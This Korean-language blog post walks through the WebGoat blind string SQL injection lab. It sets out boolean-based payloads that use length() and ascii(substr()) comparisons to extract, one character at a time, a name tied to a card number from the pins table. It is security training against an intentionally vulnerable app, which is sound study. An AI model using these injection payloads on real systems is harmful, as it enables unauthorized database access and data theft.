WebGoat(웹고트) Blind String SQL Injection

WebGoat(웹고트) Blind String SQL Injection

 

pins 테이블에서 cc_number 컬럼 값이 4321432143214321인 name 컬럼 값을 찾으면 문제해결

(1) Window xp에서 http://victim:8080/WebGoat/attack 사이트로 이동하여 목록에서 Blind String SQL Injection을 찾아 이동합니다. (webgoat / webgoat)

 

(2) 사용자 값이 서버로 전달되는 과정을 확인합니다.

=> Account Number: 계좌번호 입력

=> 전달과정은

      POST attack?Screen=39&menu=1100

      accunt_number=101&Submit=Go!

=> 서버 내부에서는 

      select * from accounts where account_number=101

      존재하는 경우 Account number is valid. / 존재하지 않는 경우 Invalid account number.

 

(3) 공격자가 원하는 내용을 얻기 위해 값을 조작합니다.

공격자가 원하는 것은 cc_number가 4321432143214321인 name 컬럼 값!

 

공격 쿼리 형식은 다음과 같습니다.

[전체 문자열]

입력값 > select * from accounts where account_number=101 and (select name from pins where cc_number='4321432143214321') = '입력 값'

 

[문자열 한 개씩]

입력값 > select * from accounts where account_number=101 and (select ascii(substr(name, 1, 1)) from pins where cc_number='4321432143214321') = 아스키 코드 값

 

=> pins 테이블에서 cc_number가 4321432143214321인 name값을 조회하여 그 값이 입력 값과 동일한지 확인

=> 입력 값이 찾고자 하는 name값과 동일하면 Account number is valid.

=> 입력 값이 찾고자 하는 name값과 동일하지 않다면 Invalid account number.

 

참조 Ascii 값: 'A' = 65 / 'Z' = 90 / 'a' = 97 / 'z' = 122

 

(3)-1 사용자 이름이 몇글자인지 알아내기 위해 다음 입력값을 넣어봅니다. (빨간색 입력)

입력값 > select * from accounts where account_number=101 and length(select name from pins where cc_number='4321432143214321') > 4

=> 찾고자 하는 name 값의 길이는 4를 초과 하지 않습니다.

 

입력값 > select * from accounts where account_number=101 and length(select name from pins where cc_number='4321432143214321') > 3

=> 찾고자 하는 name 값의 길이는 3를 초과합니다.

=> 즉, 이름은 4글자입니다.

 

(3)-2 이름의 각 값을 알아내기 위해 해당 입력값을 넣고 GO를 클릭합니다.

입력값 > select * from accounts where account_number=101 and (select ascii(substr(name, 1, 1)) from pins where cc_number='4321432143214321') > 65

=> 찾고자 하는 name 값의 첫번째 자리는 65(A)를 초과합니다.

 

입력값 > select * from accounts where account_number=101 and (select ascii(substr(name, 1, 1)) from pins where cc_number='4321432143214321') > 77

=> 찾고자 하는 name 값의 첫번째 자리는 77(M)를 초과하지 않습니다.

=> 첫글자는 B부터 M 사이 값

 

입력값 > select * from accounts where account_number=101 and (select ascii(substr(name, 1, 1)) from pins where cc_number='4321432143214321') > 71

=> 찾고자 하는 name 값의 첫번째 자리는 71(G)을 초과합니다.

=> 첫글자는 H부터 M 사이 값

 

이런 방식으로 첫번째 글자를 찾습니다. 두 번째 글자도 같은 방식으로 substr(name, 2, 1)로 바꿔서 찾으면 됩니다.

* burp suite의 Intruder를 사용하면 쉽습니다. 

* 사용하려고 보니까 Window xp(가상환경)에서 start attack이 안보임...(어디있니...)

* Intruder 사용 예제

[보안 취약점 진단 및 대응/Port Swigger:Lab] - Lab: Blind SQL injection with conditional responses

 

Lab: Blind SQL injection with conditional responses

Lab: Blind SQL injection with conditional responses https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses Lab: Blind SQL injection with conditional responses | Web Security Academy This lab contains a blind SQL injection vulner

psjin230.tistory.com

 

(4) 결과확인

입력값 > select * from accounts where account_number=101 and (select name from pins where cc_number='4321432143214321') = 'Jill'

=> 첫 번째 글자 J / 두 번째 글자 i / 세 번째 글자 l / 네 번째 글자 l

=> Jill입력 후 Go를 클릭하면 문제가 해결됩니다.